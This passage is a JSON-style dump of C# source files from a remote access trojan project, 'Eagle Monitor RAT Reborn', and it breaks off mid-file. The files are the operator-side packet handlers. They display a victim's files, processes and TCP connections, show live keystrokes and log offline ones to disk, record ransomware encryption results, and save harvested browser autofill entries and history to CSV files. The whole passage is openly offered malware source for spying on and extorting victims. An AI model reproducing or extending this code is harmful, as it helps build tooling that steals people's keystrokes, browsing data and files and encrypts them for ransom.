    "content": "﻿using Eagle_Monitor_RAT_Reborn.Network;\nusing PacketLib.Packet;\nusing System.Drawing;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.PacketHandler\n{\n    internal class FileManagerPacketHandler\n    {\n        public FileManagerPacketHandler(FileManagerPacket fileManagerPacket) : base()//, ClientHandler clientHandler)\n        {\n            try\n            {\n                ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.fileManagerDataGridView.BeginInvoke((MethodInvoker)(() =>\n                {\n                    ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Clear();\n\n                    int x = 0;\n\n                    foreach (var dir in fileManagerPacket.filesAndDirs[0])\n                    {\n                        int rowId = ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Add();\n                        DataGridViewRow row = ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows[rowId];\n                        row.Cells[\"Column11\"].Value = Misc.Utils.ResizeImage(Properties.Resources.imageres_4.ToBitmap(), new Size(26, 26));\n                        row.Cells[\"Column12\"].Value = dir[0].ToString();\n                        row.Cells[\"Column13\"].Value = \"Directory\";\n                        row.Cells[\"Column14\"].Value = Misc.Utils.Numeric2Bytes((long)dir[1]);\n                    }\n\n                    x++;\n\n                    ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.fileManagerDataGridView.Sort(ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.Column12, System.ComponentModel.ListSortDirection.Ascending);\n\n                    foreach (var file in fileManagerPacket.filesAndDirs[1])\n                    {\n \n                        Image btm = PacketLib.Utils.ImageProcessing.BytesToImage((byte[])file[1]);\n                        int rowId = ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Add();\n                        DataGridViewRow row = ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows[rowId];\n                        row.Cells[\"Column11\"].Value = Misc.Utils.ResizeImage(btm, new Size(26, 26));\n                        row.Cells[\"Column12\"].Value = file[0].ToString();\n                        row.Cells[\"Column13\"].Value = \"File\";\n                        row.Cells[\"Column14\"].Value = Misc.Utils.Numeric2Bytes((long)file[2]);\n                        row.Tag = file[2];\n                        x++;\n                    }\n                }));\n            }\n            catch { }\n            return;\n           \n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/ShortCutFileManagersPacketHandler.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Network;\nusing PacketLib.Packet;\nusing System.Drawing;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.PacketHandler\n{\n    internal class ShortCutFileManagersPacketHandler\n    {\n        internal ShortCutFileManagersPacketHandler(ShortCutFileManagersPacket shortCutFileManagersPacket) : base() //, ClientHandler clientHandler) \n        {\n            try\n            {\n                ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.fileManagerDataGridView.BeginInvoke((MethodInvoker)(() =>\n                {\n                    ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.disksGuna2ComboBox.Text = shortCutFileManagersPacket.path[0].ToString() + shortCutFileManagersPacket.path[1].ToString() + shortCutFileManagersPacket.path[2].ToString();\n                    ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.labelPath.Text = shortCutFileManagersPacket.path;\n\n                    ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Clear();\n\n                    int x = 0;\n\n                    foreach (var dir in shortCutFileManagersPacket.filesAndDirs[0])\n                    {\n                        int rowId = ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Add();\n                        DataGridViewRow row = ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows[rowId];\n                        row.Cells[\"Column11\"].Value = Misc.Utils.ResizeImage(Properties.Resources.imageres_4.ToBitmap(), new Size(26, 26));\n                        row.Cells[\"Column12\"].Value = dir[0].ToString();\n                        row.Cells[\"Column13\"].Value = \"Directory\";\n                        row.Cells[\"Column14\"].Value = Misc.Utils.Numeric2Bytes((long)dir[1]);\n                    }\n\n                    x++;\n\n                    ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.fileManagerDataGridView.Sort(ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.Column12, System.ComponentModel.ListSortDirection.Ascending);\n\n                    foreach (var file in shortCutFileManagersPacket.filesAndDirs[1])\n                    {\n\n                        Image btm = PacketLib.Utils.ImageProcessing.BytesToImage((byte[])file[1]);\n                        int rowId = ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Add();\n                        DataGridViewRow row = ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows[rowId];\n                        row.Cells[\"Column11\"].Value = Misc.Utils.ResizeImage(btm, new Size(26, 26));\n                        row.Cells[\"Column12\"].Value = file[0].ToString();\n                        row.Cells[\"Column13\"].Value = \"File\";\n                        row.Cells[\"Column14\"].Value = Misc.Utils.Numeric2Bytes((long)file[2]);\n                        row.Tag = file[2];\n                        x++;\n                    }\n                }));\n            }\n            catch { }\n            return;\n\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/ChatPacketHandler.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Network;\nusing PacketLib.Packet;\nusing System.Drawing;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.PacketHandler\n{\n    internal class ChatPacketHandler\n    {\n        public ChatPacketHandler(RemoteChatPacket chatPacket): base()\n        {\n            ClientHandler.ClientHandlersList[chatPacket.BaseIp].ClientForm.messageRichTextBox.BeginInvoke((MethodInvoker)(() =>\n            {\n                ClientHandler.ClientHandlersList[chatPacket.BaseIp].ClientForm.messageRichTextBox.SelectionColor = Color.FromArgb(66, 182, 245);\n                ClientHandler.ClientHandlersList[chatPacket.BaseIp].ClientForm.messageRichTextBox.AppendText(chatPacket.msg);\n            }));\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/InformationPacketHandler.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Network;\nusing PacketLib.Packet;\nusing System.Collections.Generic;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.PacketHandler\n{\n    internal class InformationPacketHandler\n    {\n        public InformationPacketHandler(InformationPacket informationPacket) : base()//, ClientHandler clientHandler) : base()\n        {\n            try\n            {\n                ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.BeginInvoke((MethodInvoker)(() =>\n                {\n                    ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.Rows.Clear();\n                    ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.componentsDataGridView.Rows.Clear();\n                    ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.systemInformationDataGridView.Rows.Clear();\n\n                    string[] cpuFeatures = informationPacket.information.hardwareInformation.cpuInformation[\"CPU\"][0].Split('\\n');\n\n                    int rowIdName = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.Rows.Add();\n\n                    DataGridViewRow row = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.Rows[rowIdName];\n                    row.Cells[\"Column36\"].Value = cpuFeatures[0];\n\n                    int rowIdVendor = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.Rows.Add();\n\n                    row = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.Rows[rowIdVendor];\n                    row.Cells[\"Column36\"].Value = cpuFeatures[1];\n\n                    for (int i = 2; i < cpuFeatures.Length - 1; i++)\n                    {\n                        string[] SplitFeature = cpuFeatures[i].Split(' ');\n                        int rowId = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.Rows.Add();\n\n                        row = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.Rows[rowId];\n                        row.Cells[\"Column36\"].Value = SplitFeature[0];\n\n\n                        if (SplitFeature[1] == \"1\")\n                            row.Cells[\"Column37\"].Value = \"Yes\";\n                        else\n                            row.Cells[\"Column37\"].Value = \"No\";\n                    }\n\n                    foreach (KeyValuePair<string, string> hardware in informationPacket.information.hardwareInformation.hardwareInformation)\n                    {\n                        int rowId = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.componentsDataGridView.Rows.Add();\n                        row = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.componentsDataGridView.Rows[rowId];\n                        row.Cells[\"Column38\"].Value = hardware.Key;\n                        row.Cells[\"Column39\"].Value = hardware.Value;\n                    }\n\n                    foreach (KeyValuePair<string, string> system in informationPacket.information.systemInformation.systemInformation)\n                    {\n                        int rowId = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.systemInformationDataGridView.Rows.Add();\n                        row = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.systemInformationDataGridView.Rows[rowId];\n                        row.Cells[\"Column40\"].Value = system.Key;\n                        row.Cells[\"Column41\"].Value = system.Value;\n                    }\n                }));\n            }\n            catch { }\n            return;\n            /*new Thread(() =>\n            {\n                try\n                {\n                    clientHandler.clientForm.BeginInvoke((MethodInvoker)(() =>\n                    {\n                        string[] cpuFeatures = informationPacket.information.hardwareInformation.cpuInformation[\"CPU\"][0].Split('\\n');\n\n                        int rowIdName = clientHandler.clientForm.cpuDataGridView.Rows.Add();\n\n                        DataGridViewRow row = clientHandler.clientForm.cpuDataGridView.Rows[rowIdName];\n                        row.Cells[\"Column36\"].Value = cpuFeatures[0];\n\n                        int rowIdVendor = clientHandler.clientForm.cpuDataGridView.Rows.Add();\n\n                        row = clientHandler.clientForm.cpuDataGridView.Rows[rowIdVendor];\n                        row.Cells[\"Column36\"].Value = cpuFeatures[1];\n\n                        for (int i = 2; i < cpuFeatures.Length - 1; i++)\n                        {\n                            string[] SplitFeature = cpuFeatures[i].Split(' ');\n                            int rowId = clientHandler.clientForm.cpuDataGridView.Rows.Add();\n\n                            row = clientHandler.clientForm.cpuDataGridView.Rows[rowId];\n                            row.Cells[\"Column36\"].Value = SplitFeature[0];\n\n\n                            if (SplitFeature[1] == \"1\")\n                                row.Cells[\"Column37\"].Value = \"Yes\";\n                            else\n                                row.Cells[\"Column37\"].Value = \"No\";\n                        }\n\n                        foreach (KeyValuePair<string, string> hardware in informationPacket.information.hardwareInformation.hardwareInformation)\n                        {\n                            int rowId = clientHandler.clientForm.componentsDataGridView.Rows.Add();\n                            row = clientHandler.clientForm.componentsDataGridView.Rows[rowId];\n                            row.Cells[\"Column38\"].Value = hardware.Key;\n                            row.Cells[\"Column39\"].Value = hardware.Value;\n                        }\n\n                        foreach (KeyValuePair<string, string> system in informationPacket.information.systemInformation.systemInformation)\n                        {\n                            int rowId = clientHandler.clientForm.systemInformationDataGridView.Rows.Add();\n                            row = clientHandler.clientForm.systemInformationDataGridView.Rows[rowId];\n                            row.Cells[\"Column40\"].Value = system.Key;\n                            row.Cells[\"Column41\"].Value = system.Value;\n                        }\n                    }));\n                }\n                catch { }\n            }).Start();*/\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/KeylogOfflinePacketHandler.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Misc;\nusing Eagle_Monitor_RAT_Reborn.Network;\nusing PacketLib.Packet;\nusing System.IO;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.PacketHandler\n{\n    internal class KeylogOfflinePacketHandler\n    {\n        public KeylogOfflinePacketHandler(KeylogOfflinePacket keylogOfflinePacket, ClientHandler clientHandler)\n        {\n            Directory.CreateDirectory(ClientHandler.ClientHandlersList[keylogOfflinePacket.BaseIp].ClientPath + \"\\\\Keystrokes\\\\\");\n            File.AppendAllText(ClientHandler.ClientHandlersList[keylogOfflinePacket.BaseIp].ClientPath + \"\\\\Keystrokes\\\\\" + \"Offlinekeystrokes.txt\", keylogOfflinePacket.keyStroke + \"\\n--------------------------------------------\\nDATE : \" + Utils.DateFormater() + \"\\n--------------------------------------------\\n\");\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/KeylogPacketHandler.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Network;\nusing PacketLib.Packet;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.PacketHandler\n{\n    internal class KeylogPacketHandler\n    {\n        public KeylogPacketHandler(KeylogPacket keylogPacket) : base()//, ClientHandler clientHandler) \n        {\n            try\n            {\n                ClientHandler.ClientHandlersList[keylogPacket.BaseIp].ClientForm.keystrokeRichTextBox.BeginInvoke((MethodInvoker)(() =>\n                {\n                    ClientHandler.ClientHandlersList[keylogPacket.BaseIp].ClientForm.keystrokeRichTextBox.AppendText(keylogPacket.keyStroke);\n                }));\n            }\n            catch { }\n            return;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/NetworkInformationPacketHandler.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Network;\nusing PacketLib.Packet;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.PacketHandler\n{\n    internal class NetworkInformationPacketHandler\n    {\n        public NetworkInformationPacketHandler(NetworkInformationPacket networkInformationPacket) : base()//, ClientHandler clientHandler) : base()\n        {\n            try\n            {\n                ClientHandler.ClientHandlersList[networkInformationPacket.BaseIp].ClientForm.networkInformationDataGridView.BeginInvoke((MethodInvoker)(() =>\n                {\n                    ClientHandler.ClientHandlersList[networkInformationPacket.BaseIp].ClientForm.networkInformationDataGridView.Rows.Clear();\n                    foreach (TCPInformation tcpInformation in networkInformationPacket.tcpInformationList) \n                    {\n                        int rowId = ClientHandler.ClientHandlersList[networkInformationPacket.BaseIp].ClientForm.networkInformationDataGridView.Rows.Add();\n                        DataGridViewRow row = ClientHandler.ClientHandlersList[networkInformationPacket.BaseIp].ClientForm.networkInformationDataGridView.Rows[rowId];\n                        row.Cells[\"Column48\"].Value = tcpInformation.PID.ToString();\n                        row.Cells[\"Column49\"].Value = tcpInformation.processName;\n                        row.Cells[\"Column50\"].Value = tcpInformation.LocalEndPoint;\n                        row.Cells[\"Column51\"].Value = tcpInformation.RemoteEndPoint;\n                        row.Cells[\"Column52\"].Value = tcpInformation.State.ToString();\n                    }\n                  \n                }));\n            }\n            catch { }\n            return;\n           \n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ProcessKillerPacketHandler.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Network;\nusing PacketLib.Packet;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.PacketHandler\n{\n    internal class ProcessKillerPacketHandler\n    {\n        public ProcessKillerPacketHandler(ProcessKillerPacket packet) : base()//, ClientHandler clientHandler) : base() \n        {\n            try\n            {\n                if (packet.killed)\n                {\n                    ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.processDataGridView.BeginInvoke((MethodInvoker)(() =>\n                    {\n                        ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.processDataGridView.Rows.Remove(ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.processDataGridView.Rows[packet.rowIndex]);\n                    }));\n                }\n            }\n            catch { }\n            return;\n            /*try\n            {\n                if (packet.killed)\n                {\n                    clientHandler.clientForm.BeginInvoke((MethodInvoker)(() =>\n                    {\n                        clientHandler.clientForm.processDataGridView.Rows.Remove(clientHandler.clientForm.processDataGridView.Rows[packet.rowIndex]);\n                    }));\n                }\n            }\n            catch { }*/\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ProcessManagerPacketHandler.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Network;\nusing PacketLib.Packet;\nusing System.Drawing;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.PacketHandler\n{\n    internal class ProcessManagerPacketHandler\n    {\n        public ProcessManagerPacketHandler(ProcessManagerPacket processManagerPacket) : base()//, ClientHandler clientHandler) : base() \n        {\n            try\n            {\n                Bitmap resized = new Bitmap(Properties.Resources.imageres_15.ToBitmap(), new Size((int)(Properties.Resources.imageres_15.ToBitmap().Size.Width / 1.5), (int)(Properties.Resources.imageres_15.ToBitmap().Size.Height / 1.5)));\n\n                ClientHandler.ClientHandlersList[processManagerPacket.BaseIp].ClientForm.processDataGridView.BeginInvoke((MethodInvoker)(() =>\n                {\n                    ClientHandler.ClientHandlersList[processManagerPacket.BaseIp].ClientForm.processDataGridView.Rows.Clear();\n                    foreach (Proc proc in processManagerPacket.processes)\n                    {\n                        int rowId = ClientHandler.ClientHandlersList[processManagerPacket.BaseIp].ClientForm.processDataGridView.Rows.Add();\n\n                        DataGridViewRow row = ClientHandler.ClientHandlersList[processManagerPacket.BaseIp].ClientForm.processDataGridView.Rows[rowId];\n                        if (proc.processIcon != null)\n                        {\n                            row.Cells[\"Column15\"].Value = new Bitmap(PacketLib.Utils.ImageProcessing.BytesToImage(proc.processIcon), resized.Size);\n                        }\n                        else\n                        {\n                            row.Cells[\"Column15\"].Value = resized;\n                        }\n\n                        row.Cells[\"Column16\"].Value = proc.processId.ToString();\n                        row.Cells[\"Column17\"].Value = proc.processName;\n                        row.Cells[\"Column18\"].Value = proc.processWindowTitle;\n                        row.Cells[\"Column19\"].Value = proc.processWindowHandle;\n                        row.Cells[\"Column20\"].Value = proc.is64Bit;\n                    }\n                }));\n                return;\n            }\n            catch { }\n            /* new Thread(() =>\n             {\n                 try\n                 {\n                     Bitmap resized = new Bitmap(Properties.Resources.imageres_15.ToBitmap(), new Size((int)(Properties.Resources.imageres_15.ToBitmap().Size.Width / 1.5), (int)(Properties.Resources.imageres_15.ToBitmap().Size.Height / 1.5)));\n\n                     clientHandler.clientForm.processDataGridView.BeginInvoke((MethodInvoker)(() =>\n                     {\n                         clientHandler.clientForm.processDataGridView.Rows.Clear();\n                         foreach (Proc proc in processManagerPacket.processes)\n                         {\n                             int rowId = clientHandler.clientForm.processDataGridView.Rows.Add();\n\n                             DataGridViewRow row = clientHandler.clientForm.processDataGridView.Rows[rowId];\n                             if (proc.processIcon != null)\n                             {\n                                 row.Cells[\"Column15\"].Value = new Bitmap(PacketLib.Utils.ImageProcessing.BytesToImage(proc.processIcon), resized.Size);\n                             }\n                             else\n                             {\n                                 row.Cells[\"Column15\"].Value = resized;\n                             }\n\n                             row.Cells[\"Column16\"].Value = proc.processId.ToString();\n                             row.Cells[\"Column17\"].Value = proc.processName;\n                             row.Cells[\"Column18\"].Value = proc.processWindowTitle;\n                             row.Cells[\"Column19\"].Value = proc.processWindowHandle;\n                             row.Cells[\"Column20\"].Value = proc.is64Bit;\n                         }\n                     }));\n                     return;\n                 }\n                 catch { }\n             }).Start();*/\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ResumeProcessPacketHandler.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Network;\nusing PacketLib.Packet;\nusing System.Drawing;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.PacketHandler\n{\n    internal class ResumeProcessPacketHandler\n    {\n        public ResumeProcessPacketHandler(ResumeProcessPacket resumeProcessPacket) : base ()//, ClientHandler clientHandler ) : base() \n        {\n            try\n            {\n                if (resumeProcessPacket.resumed)\n                {\n                    ClientHandler.ClientHandlersList[resumeProcessPacket.BaseIp].ClientForm.processDataGridView.BeginInvoke((MethodInvoker)(() =>\n                    {\n                        ClientHandler.ClientHandlersList[resumeProcessPacket.BaseIp].ClientForm.processDataGridView.Rows[resumeProcessPacket.rowIndex].DefaultCellStyle.BackColor = Color.White;\n                    }));\n                }\n            }\n            catch { }\n            return;\n            /*try\n            {\n                if (resumeProcessPacket.resumed)\n                {\n                    clientHandler.clientForm.BeginInvoke((MethodInvoker)(() =>\n                    {\n                        clientHandler.clientForm.processDataGridView.Rows[resumeProcessPacket.rowIndex].DefaultCellStyle.BackColor = Color.White;\n                    }));\n                }\n            }\n            catch { }*/\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/SuspendProcessPacketHandler.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Network;\nusing PacketLib.Packet;\nusing System.Drawing;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.PacketHandler\n{\n    internal class SuspendProcessPacketHandler\n    {\n        public SuspendProcessPacketHandler(SuspendProcessPacket suspendProcessPacket) : base()//, ClientHandler clientHandler) \n        {\n            try\n            {\n                if (suspendProcessPacket.suspended)\n                {\n                    ClientHandler.ClientHandlersList[suspendProcessPacket.BaseIp].ClientForm.processDataGridView.BeginInvoke((MethodInvoker)(() =>\n                    {\n                        ClientHandler.ClientHandlersList[suspendProcessPacket.BaseIp].ClientForm.processDataGridView.Rows[suspendProcessPacket.rowIndex].DefaultCellStyle.BackColor = Color.Red;\n                    }));\n                }\n            }\n            catch { }\n            return;\n            /*try\n            {\n                if (suspendProcessPacket.suspended)\n                {\n                    clientHandler.clientForm.BeginInvoke((MethodInvoker)(() =>\n                    {\n                        clientHandler.clientForm.processDataGridView.Rows[suspendProcessPacket.rowIndex].DefaultCellStyle.BackColor = Color.Red;\n                    }));\n                }\n            }\n            catch { }*/\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Ransomware/RansomareEncryptionConfirmationPacketHandler.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Network;\nusing PacketLib.Packet;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.PacketHandler\n{\n    internal class RansomareEncryptionConfirmationPacketHandler\n    {\n        public RansomareEncryptionConfirmationPacketHandler(RansomwareConfirmationPacket packet) : base()\n        {\n            System.IO.File.WriteAllText(ClientHandler.ClientHandlersList[packet.BaseIp].ClientPath + \"\\\\Ransomware\\\\encrypted.json\", packet.results);\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/AutofillPacketHandler.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Network;\nusing Eagle_Monitor_RAT_Reborn.Misc;\nusing PacketLib.Packet;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.PacketHandler\n{\n    internal class AutofillPacketHandler\n    {\n        public AutofillPacketHandler(AutofillPacket autofillPacket): base()//, ClientHandler clientHandler)\n        {\n            if (autofillPacket.autofillList != null)\n            {\n                try\n                {\n                    if (ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientForm.autofillDataGridView != null)\n                    {\n                        ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientForm.autofillDataGridView.BeginInvoke((MethodInvoker)(() =>\n                        {\n                            ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientForm.autofillDataGridView.Rows.Clear();\n                            foreach (object[] str in autofillPacket.autofillList)\n                            {\n                                int rowId = ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientForm.autofillDataGridView.Rows.Add();\n                                DataGridViewRow row = ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientForm.autofillDataGridView.Rows[rowId];\n                                row.Cells[\"Column21\"].Value = str[0].ToString();\n                                row.Cells[\"Column22\"].Value = str[1].ToString();\n                                row.Cells[\"Column23\"].Value = str[2].ToString();\n                                row.Cells[\"Column24\"].Value = str[3].ToString();\n                                row.Cells[\"Column25\"].Value = str[4].ToString();\n                            }\n                            if (Program.settings.autoSaveRecovery)\n                                Utils.ToCSV(ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientForm.autofillDataGridView, ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientPath + \"\\\\Autofill\\\\\" + Utils.DateFormater() + \".csv\");\n                            return;\n                        }));\n                    }\n                    else\n                    { Utils.ToCSV(autofillPacket.autofillList, ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientPath + \"\\\\Autofill\\\\\" + Utils.DateFormater() + \".csv\", new string[] { \"Application\", \"Name\", \"Autofill\", \"Date created\", \"Last date used\" }); }\n                }\n                catch { Utils.ToCSV(autofillPacket.autofillList, ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientPath + \"\\\\Autofill\\\\\" + Utils.DateFormater() + \".csv\", new string[] { \"Application\", \"Name\", \"Autofill\", \"Date created\", \"Last date used\" }); }\n            }\n            else\n                return;\n            /* new Thread(() =>\n             {\n                 if (autofillPacket.autofillList != null)\n                 {\n                     try\n                     {\n                         if (clientHandler.clientForm.autofillDataGridView != null)\n                         {\n                             clientHandler.clientForm.autofillDataGridView.BeginInvoke((MethodInvoker)(() =>\n                             {\n                                 clientHandler.clientForm.autofillDataGridView.Rows.Clear();\n                                 foreach (object[] str in autofillPacket.autofillList)\n                                 {\n                                     int rowId = clientHandler.clientForm.autofillDataGridView.Rows.Add();\n                                     DataGridViewRow row = clientHandler.clientForm.autofillDataGridView.Rows[rowId];\n                                     row.Cells[\"Column21\"].Value = str[0].ToString();\n                                     row.Cells[\"Column22\"].Value = str[1].ToString();\n                                     row.Cells[\"Column23\"].Value = str[2].ToString();\n                                     row.Cells[\"Column24\"].Value = str[3].ToString();\n                                     row.Cells[\"Column25\"].Value = str[4].ToString();\n                                 }\n                                 if (Program.settings.autoSaveRecovery)\n                                     Utils.ToCSV(clientHandler.clientForm.autofillDataGridView, clientHandler.clientPath + \"\\\\Autofill\\\\\" + Utils.DateFormater() + \".csv\");\n                                 return;\n                             }));\n                         }\n                         else\n                         { Utils.ToCSV(autofillPacket.autofillList, clientHandler.clientPath + \"\\\\Autofill\\\\\" + Utils.DateFormater() + \".csv\", new string[] { \"Application\", \"Name\", \"Autofill\", \"Date created\", \"Last date used\" }); }\n                     }\n                     catch { Utils.ToCSV(autofillPacket.autofillList, clientHandler.clientPath + \"\\\\Autofill\\\\\" + Utils.DateFormater() + \".csv\", new string[] { \"Application\", \"Name\", \"Autofill\", \"Date created\", \"Last date used\" }); }\n                 }\n                 else\n                     return;\n             }).Start();*/\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/HistoryPacketHandler.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Network;\nusing Eagle_Monitor_RAT_Reborn.Misc;\nusing PacketLib.Packet;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.PacketHandler\n{\n    internal class HistoryPacketHandler\n    {\n        public HistoryPacketHandler(HistoryPacket historyPacket) : base()//, ClientHandler clientHandler) : base() \n        {\n            /*new Thread(() =>\n            {\n                if (historyPacket.historyList != null)\n                {\n                    try\n                    {\n                        if (clientHandler.clientForm.historyDataGridView != null)\n                        {\n                            clientHandler.clientForm.historyDataGridView.BeginInvoke((MethodInvoker)(() =>\n                            {\n                                clientHandler.clientForm.historyDataGridView.Rows.Clear();\n                                foreach (object[] str in historyPacket.historyList)\n                                {\n                                    int rowId = clientHandler.clientForm.historyDataGridView.Rows.Add();\n                                    DataGridViewRow row = clientHandler.clientForm.historyDataGridView.Rows[rowId];\n                                    row.Cells[\"Column5\"].Value = str[0].ToString();\n                                    row.Cells[\"Column6\"].Value = str[1].ToString();\n                                    row.Cells[\"Column7\"].Value = str[2].ToString();\n                                    row.Cells[\"Column8\"].Value = str[3].ToString();\n                                    row.Cells[\"Column9\"].Value = str[4].ToString();\n                                }           \n                                if (Program.settings.autoSaveRecovery)\n                                    Utils.ToCSV(clientHandler.clientForm.historyDataGridView, clientHandler.clientPath + \"\\\\History\\\\\" + Utils.DateFormater() + 